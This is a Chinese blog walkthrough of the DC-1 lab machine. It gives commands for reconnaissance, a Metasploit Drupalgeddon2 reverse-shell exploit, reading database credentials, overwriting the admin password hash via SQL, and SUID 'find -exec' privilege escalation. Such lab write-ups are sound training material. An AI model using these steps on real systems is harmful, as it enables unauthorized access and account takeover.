当前位置: 首页 > news >正文

DC-1 靶场学习

以前写过了,有一些忘了,快速的重温一遍。
DC一共九个靶场,目标一天一个。

文章目录

  • 环境配置:
  • 信息搜集:
  • 漏洞复现:
  • FLAG获取

环境配置:

最简单的办法莫过于将kali和DC-1同属为一个nat的网络下。

image-20230224151556977

image-20230224151420206

image-20230224151424358

信息搜集:

首先探测靶机ip,两种方法:

arp-scan -l
nmap -sP 192.168.28.0/24

image-20230224151844953

image-20230224151934633

靶机ip为192.168.28.129

image-20230224152007329

明显有一个80端口,继续用nmap探测端口情况。

image-20230224152145026

还开起了22和111端口,wappalyzer信息搜集,看一下框架。

image-20230224152437666

或者用kali自带的whatweb指纹探测。

whatweb -v 192.168.28.129

image-20230224152639042

同样得到的是Drupal7.0版本,msfconsole里存在Drupal攻击模块。

漏洞复现:

search去找Drupal模块

search Drupal

image-20230224153110889

进入exploit/unix/webapp/drupal_drupalgeddon2模块,然后查看payload。

use exploit/unix/webapp/drupal_drupalgeddon2
show payloads

image-20230224153319619

php/meterpreter/reverse_tcp可以利用。

然后设置payload和配置。

set payload /php/meterpreter/reverse_tcp
set RHOSTS 192.168.28.129

输入exploit启动。

image-20230224153645562

成功拿到shell,先反弹shell。

python -c "import pty;pty.spawn('/bin/bash')"

image-20230224153841490

FLAG获取

然后ls -l发现flag1.

Every good CMS needs a config file - and so do you
每个好的CMS都需要一个配置文件 - 你也是

明显是想让我们去查看配置文件。

image-20230224154037611

发现settings.php文件,查看后得到flag2.

 Brute force and dictionary attacks aren't the* only ways to gain access (and you WILL need access).* What can you do with these credentials?
蛮力和字典攻击不是*只有获得访问权限的方法(您将需要访问权限)。* 您可以使用这些凭据做什么?

不能爆破,但在配置中存在mysql账号密码,可以通过mysql查看账号密码。

mysql -udbuser -pR0ck3t

登录mysql。

在其中找到user表。

image-20230224154902860

但其中的pass被加密,猜测存在哈希加密代码,查找。

find . -name *hash*

image-20230224155102664

找到的password-hash.sh,这肯定是加密代码,cat一下。

#!/usr/bin/php
<?php/*** Drupal hash script - to generate a hash from a plaintext password** Check for your PHP interpreter - on Windows you'll probably have to* replace line 1 with*   #!c:/program files/php/php.exe** @param password1 [password2 [password3 ...]]*  Plain-text passwords in quotes (or with spaces backslash escaped).*/if (version_compare(PHP_VERSION, "5.2.0", "<")) {$version  = PHP_VERSION;echo <<<EOFERROR: This script requires at least PHP version 5.2.0. You invoked it withPHP version {$version}.
\n
EOF;exit;
}$script = basename(array_shift($_SERVER['argv']));if (in_array('--help', $_SERVER['argv']) || empty($_SERVER['argv'])) {echo <<<EOFGenerate Drupal password hashes from the shell.Usage:        {$script} [OPTIONS] "<plan-text password>"
Example:      {$script} "mynewpassword"All arguments are long options.--help      Print this page.--root <path>Set the working directory for the script to the specified path.To execute this script this has to be the root directory of yourDrupal installation, e.g. /home/www/foo/drupal (assuming Drupalrunning on Unix). Use surrounding quotation marks on Windows."<password1>" ["<password2>" ["<password3>" ...]]One or more plan-text passwords enclosed by double quotes. Theoutput hash may be manually entered into the {users}.pass field tochange a password via SQL to a known value.To run this script without the --root argument invoke it from the root directory
of your Drupal installation as./scripts/{$script}
\n
EOF;exit;
}$passwords = array();// Parse invocation arguments.
while ($param = array_shift($_SERVER['argv'])) {switch ($param) {case '--root':// Change the working directory.$path = array_shift($_SERVER['argv']);if (is_dir($path)) {chdir($path);}break;default:// Add a password to the list to be processed.$passwords[] = $param;break;}
}define('DRUPAL_ROOT', getcwd());include_once DRUPAL_ROOT . '/includes/password.inc';
include_once DRUPAL_ROOT . '/includes/bootstrap.inc';foreach ($passwords as $password) {print("\npassword: $password \t\thash: ". user_hash_password($password) ."\n");
}
print("\n");

先看帮助,理解脚本如何使用。

image-20230224155402217

然后运行脚本然后得到加密过后密码,随后密码替换。

update users set pass="$S$Ds.RBZ79FgPXwUiHZZd5eo2rVbYQzTomLgBhA24Sw04Bnr3UWSpB"where name="admin";

然后登录网站得到flag3

Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.
特殊的 PERMS 将帮助找到 passwd - 但您需要 -exec 该命令来弄清楚如何获取阴影中的东西。

在/etc/passwd中发现flag4用户。

image-20230224160636908

得到flag4。

Can you use this same method to find or access the flag in root?Probably. But perhaps it's not that easy.  Or maybe it is?
您可以使用相同的方法来查找或访问 root 中的标志吗?
可能。但也许这并不容易。 或者也许是?

访问root文件夹需要root权限。

SUID提权:

find / -user root -perm -4000 -print 2>/dev/null

其中就有find,直接用。

find / -exec "/bin/bash" -p \;

image-20230224161616986

进入root目录得到最后的flag。

Well done!!!!Hopefully you've enjoyed this and learned some new skills.You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
干的好!!!!希望您喜欢这个并学到了一些新技能。你可以让我知道你对这个小旅程的看法
通过推特与我联系 - @DCAU7

利用hydra暴力破解得到flag4的密码。

image-20230224172053998

相关文章:

DC-1 靶场学习

以前写过了&#xff0c;有一些忘了&#xff0c;快速的重温一遍。 DC一共九个靶场&#xff0c;目标一天一个。 文章目录环境配置&#xff1a;信息搜集&#xff1a;漏洞复现&#xff1a;FLAG获取环境配置&#xff1a; 最简单的办法莫过于将kali和DC-1同属为一个nat的网络下。 信…...

oracle 不使用索引深入解析

首先&#xff0c;我们要确定数据库运行在何种优化模式下&#xff0c;相应的参数是&#xff1a;optimizer_mode。缺省的设置应是"choose"&#xff0c;即如果对已分析的表查询的话选择CBO&#xff0c;否则选择RBO。如果该参数设为“rule”&#xff0c;则不论表是否分析…...

什么是自助式BI工具,有没有推荐

为什么需要自助式BI&#xff1f; 传统的BI采用的是“业务提报表需求&#xff0c;IT进行开发”的模式。决策管理者和业务人员提出用报表等来展示经营管理数据的需求&#xff1b;接着IT响应需求&#xff0c;进行需求沟通、数据处理加工、报表开发等主体工作&#xff1b;最后决策管…...

如何高效管理自己的时间,可以从这几个方向着手

如果你是上班族&#xff0c;天选打工人&#xff0c;你的绝大多数时间都属于老板&#xff0c;能够自己支配的时间其实并不多&#xff0c;所以你可能察觉不到时间管理的重要性。但如果你是自由职业者或者创业者&#xff0c;想要做出点成绩&#xff0c;那你就需要做好时间管理&…...

【PAT甲级题解记录】1014 Waiting in Line (30 分)

【PAT甲级题解记录】1014 Waiting in Line (30 分) 前言 Problem&#xff1a;1014 Waiting in Line (30 分) Tags&#xff1a;模拟 双端队列 Difficulty&#xff1a;剧情模式 想流点汗 想流点血 死而无憾 Address&#xff1a;1014 Waiting in Line (30 分) 问题描述 银行有N个…...

web接入大华摄像头实时视频

目录 一、FFmpeg下载及配置​​​​ 二、nginx下载及配置 三、摄像rtsp取流 四、ffmpeg推流 五、html前端工作 一、FFmpeg下载及配置​​​​ 地址&#xff1a;Download FFmpeg 下载并解压FFmpeg文件夹&#xff0c;配置环境变量&#xff1a;在“Path”变量原有变量值内容…...

Git代码冲突-不同分支之间的代码冲突

1、解决思路在团队开发中&#xff0c;提交代码到Git仓库时经常会遇到代码冲突的问题。- 原因&#xff1a;多人对相同的文件进行了编辑&#xff0c;造成代码存在差异化- 解决方案&#xff1a;1. 使用工具或git命令对比不同分支代码的差异化2. 把不同分支中有效代码进行保留&…...

KUKA KR C4机器人与S7-1200PLC进行PROFINET通信的具体方法和步骤

KUKA KR C4机器人与S7-1200PLC进行PROFINET通信的具体方法和步骤 首先,从KUKA机器人控制柜中将KOP备选软件包拷贝出来,然后在“WorkVisual Development Environment”安装KUKA备选软件包(版本非常重要,尽量从控制柜中拷贝), 也可以从以下链接中获取: KUKA机器人PROFINET…...

从0到1一步一步玩转openEuler--24 openEuler管理进程-调度启动进程

文章目录24 openEuler管理进程-调度启动进程24.1 定时运行一批程序&#xff08;at&#xff09;24.1.1 at命令24.1.2 设置时间24.1.3 执行权限24.2 周期性运行一批程序&#xff08;cron&#xff09;24.2.1 运行机制24.2.2 crontab命令24.2.3 crontab文件24.2.4 编辑配置文件操作…...

Servlet笔记(10):Session跟踪

Servlet Session 跟踪 Http是一种“无状态”协议&#xff0c;所以需要保存session会话&#xff0c;维持Web服务器连接。 Cookies 一个Web服务器可以分配一个唯一的session会话ID存储至Web客户端的cookie中&#xff0c;对于客户端的后续请求可以使用接收到的cookie来识别。 但是…...

Hive---分区表和分桶表

分区表和分桶表 文章目录分区表和分桶表分区表语法加载数据增加分区删除分区查看分区表有多少分区查看分区表结构动态分区开启动态分区功能&#xff08;默认 true&#xff0c;开启&#xff09;设置为非严格模式在所有执行 MR 的节点上&#xff0c;最大一共可以创建多少个动态分…...

C++ STL

1. 什么是STLSTL(standard template libaray-标准模板库)&#xff1a;是C标准库的重要组成部分&#xff0c;不仅是一个可复用的组件库&#xff0c;而且是一个包罗数据结构与算法的软件框架。通俗来说&#xff1a;将常见的数据结构&#xff08;顺序表、链表、栈、队列、堆。。。…...

java程序员要了解的sql语句优化技巧大全

sql语句规范 MySQL在Linux系统下数据库名&#xff0c;表名&#xff0c;存储过程名&#xff0c;函数名称&#xff0c;触发器名称等区分大小写&#xff0c;列名不区分大小写&#xff0c;原因是这些操作系统下文件名称区分大小写。 MySQL在Windows系统下全部不区分大小写&#xf…...

SQL零基础入门学习(十)

SQL零基础入门学习&#xff08;九&#xff09; SQL CREATE DATABASE 语句 CREATE DATABASE 语句用于创建数据库。 SQL CREATE DATABASE 语法 CREATE DATABASE dbname;SQL CREATE DATABASE 实例 下面的 SQL 语句创建一个名为 “my_db” 的数据库&#xff1a; CREATE DATAB…...

Pytorch从零开始训练模型【识别数字模型】并测试

1 准备数据集 import torch import torchvision # 去网上下载CIFAR10数据集【此数据集为经典的图像数字识别数据集】 # train True 代表取其中得训练数据集&#xff1b; # transform 参数代表将图像转换为Tensor形式 # download 为True时会去网上下载数据集到指定路径【root】…...

Leetcode DAY 44: 完全背包 and 零钱兑换 II and 组合总和 Ⅳ

完全背包518. 零钱兑换 II&#xff01;&#xff01;&#xff01;程序未通过原因&#xff1a; 1、dp数组的初始化没考虑清楚 2、组合问题 dp数组的更新没考虑清楚 修改后&#xff1a; class Solution { public:int change(int amount, vector<int>& coins) {// dp[j…...

谷歌搜索留痕的技术公式【2023年新版】

本文主要分享谷歌搜索留痕的技术公式&#xff0c;让你更简单的去学习谷歌留痕的技术原理 本文由光算创作&#xff0c;有可能会被修改和剽窃&#xff0c;我们佛系对待这样的行为吧。 谷歌搜索留痕的技术公式是什么&#xff1f; 答案是&#xff1a;需要做排名的关键词海量能搜…...

2023财年Q4业绩继续下滑,ChatGPT能驱动英伟达重回巅峰吗?

近年来&#xff0c;全球科创风口不断变换&#xff0c;虚拟货币、元宇宙等轮番登场&#xff0c;不少企业匆忙上台又很快谢幕&#xff0c;但在此期间&#xff0c;有些企业扮演淘金潮中“卖水人”的角色&#xff0c;却也能够见证历史且屹立不倒。不过&#xff0c;这并不意味着其可…...

博客管理系统--项目说明

项目体验地址&#xff08;账号&#xff1a;123&#xff0c;密码&#xff1a;123&#xff09;http://120.53.20.213:8080/blog_system/login.html项目码云Gitee地址&#xff1a;https://gitee.com/GoodManSS/project/tree/master/blog_system&#xff08;一&#xff09;准备工作…...

一文带你了解MySQL的Server层和引擎层是如何交互的?

对于很多开发小伙伴来说&#xff0c;每天写SQL是必不可少的一项工作。 那不知道大家有没有深入了解过&#xff0c;当我们的一条SQL命令被执行时&#xff0c;MySQL是如何把数据从硬盘/内存中查出来并展示到用户面前的呢&#xff1f; 其实&#xff0c;MySQL也没有大家想象的那么…...

RK3568开发板4G模块上网全流程调试与问题排查指南

1. 项目概述与核心需求解析最近在调试基于TQ3568&#xff08;也就是大家常说的RK3568&#xff09;的开发板&#xff0c;其中一个核心功能就是让板子通过4G模块上网。这几乎是所有物联网、边缘计算或者移动设备项目的标配需求。但说实话&#xff0c;从拿到模块到真正跑通网络&am…...

医疗学术会议直播,和你想的不一样

从大学阶梯教室到五星级酒店宴会厅&#xff0c;从脊柱外科到肿瘤学术年会&#xff0c;VideoTV团队这3年做了30场医疗学术会议直播。有些坑踩过一次就不会再踩&#xff0c;有些坑每次都能遇到新花样。这篇文章不讲大道理&#xff0c;直接说我们在执行层面踩过哪些坑、怎么解决的…...

AI 应用开发到底在开发什么?

很多人刚开始接触 AI 应用开发时&#xff0c;会把它理解成“调用一个大模型接口”。这个理解不能说错&#xff0c;但太浅了。真正能在公司里上线、能产生价值的 AI 应用&#xff0c;往往不是一个简单的聊天框&#xff0c;而是一套完整系统。它要接用户入口&#xff0c;要接业务…...

3分钟快速搞定:让Windows资源管理器完美显示iPhone照片缩略图

3分钟快速搞定&#xff1a;让Windows资源管理器完美显示iPhone照片缩略图 【免费下载链接】windows-heic-thumbnails Enable Windows Explorer to display thumbnails for HEIC/HEIF files 项目地址: https://gitcode.com/gh_mirrors/wi/windows-heic-thumbnails 还在为…...

红黑树完全指南:从五条性质到完整插入删除实现

引言在前面的树系列中&#xff0c;我们学习了二叉搜索树&#xff08;BST&#xff09;和 AVL 树。AVL 树通过严格的平衡条件&#xff08;|BF| ≤ 1&#xff09;保证 O(log n) 的性能&#xff0c;但代价是删除操作可能触发 O(log n) 次旋转。红黑树&#xff08;Red-Black Tree&am…...

React Starter Kit 团队协作:如何建立统一的开发规范

React Starter Kit 团队协作&#xff1a;如何建立统一的开发规范 【免费下载链接】react-starter-kit Start your first React App. By using React, Redux, and React-Router. 项目地址: https://gitcode.com/gh_mirrors/reac/react-starter-kit React Starter Kit 是一…...

Rust-Bio 生物信息学库入门指南:5个简单步骤快速上手

Rust-Bio 生物信息学库入门指南&#xff1a;5个简单步骤快速上手 【免费下载链接】rust-bio This library provides implementations of many algorithms and data structures that are useful for bioinformatics. All provided implementations are rigorously tested via co…...

AI驱动的模拟电路设计:MOBO优化与工程实践

1. AI如何重塑模拟电路设计范式模拟电路设计长期以来被视为电子工程领域最具挑战性的工作之一。传统设计流程中&#xff0c;工程师需要手动调整晶体管尺寸、偏置电压等数十个参数&#xff0c;通过反复仿真迭代来满足增益、带宽、噪声等相互制约的性能指标。这种"试错法&qu…...

大模型推理优化:激活稀疏性技术解析与实践

1. 大模型推理优化的核心挑战与机遇在自然语言处理领域&#xff0c;大型语言模型&#xff08;LLM&#xff09;的推理效率已成为制约其广泛应用的关键瓶颈。以GPT-3 175B为例&#xff0c;单次推理需要约350GB显存和数千亿次浮点运算&#xff0c;这对硬件资源提出了极高要求。传统…...

云飞云 + SolidWorks服务器 = 10人研发共享方案,附硬件配置清单

10人研发团队用SolidWorks搞设计&#xff0c;是中小制造企业最常见的场景——模型要画、装配要搭、渲染要跑、图纸要存&#xff0c;每天8小时高强度运转。传统模式下每台工作站动辄2~3万元&#xff0c;10台就是25万起步&#xff1b;软件授权10套License&#xff0c;年费轻松30~…...